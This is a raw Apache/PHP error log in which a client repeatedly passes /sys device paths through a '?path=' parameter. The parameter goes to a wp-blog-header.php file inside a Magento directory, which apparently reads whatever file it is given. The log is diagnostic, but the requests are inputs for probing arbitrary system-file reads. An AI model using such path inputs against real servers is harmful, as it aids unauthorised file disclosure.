[Thu Mar 26 12:10:19.149879 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:10:19.688399 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ee
[Thu Mar 26 12:10:20.724209 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:ce
[Thu Mar 26 12:10:21.223474 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:10:21.775400 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ee
[Thu Mar 26 12:10:22.765569 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:aa
[Thu Mar 26 12:10:29.195673 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:10:30.231410 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:10:32.344535 2026] [php:warn] [pid 3216613] [client 74.7.241.26:34882] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:de
[Thu Mar 26 12:10:33.637615 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:10:35.230956 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ec
[Thu Mar 26 12:10:36.315742 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:be
[Thu Mar 26 12:10:38.998972 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 12:10:40.781549 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:bc
[Thu Mar 26 12:10:44.424474 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 12:10:53.395432 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 12:10:53.976211 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 12:10:55.102458 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:dc
[Thu Mar 26 12:10:58.804212 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ec
[Thu Mar 26 12:11:04.167299 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ec
[Thu Mar 26 12:11:06.205053 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:cc
[Thu Mar 26 12:11:07.212988 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 12:11:09.907905 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ea
[Thu Mar 26 12:11:13.574218 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:be
[Thu Mar 26 12:11:17.323263 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ac
[Thu Mar 26 12:11:17.822585 2026] [php:warn] [pid 3106758] [client 74.7.241.26:49432] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:aa
[Thu Mar 26 12:11:29.617778 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ce
[Thu Mar 26 12:11:31.731419 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ec
[Thu Mar 26 12:11:33.915237 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 12:11:34.944194 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ec
[Thu Mar 26 12:11:36.135310 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ec
[Thu Mar 26 12:11:40.381580 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 12:11:41.877455 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:be
[Thu Mar 26 12:11:42.430875 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:de
[Thu Mar 26 12:11:42.963163 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:be
[Thu Mar 26 12:11:43.955048 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 12:11:46.157982 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ee
[Thu Mar 26 12:11:51.406490 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:11:56.301388 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ec
[Thu Mar 26 12:11:56.831049 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:12:00.009027 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 12:12:01.048221 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:12:02.063504 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:dd/device:de
[Thu Mar 26 12:12:03.102401 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ae
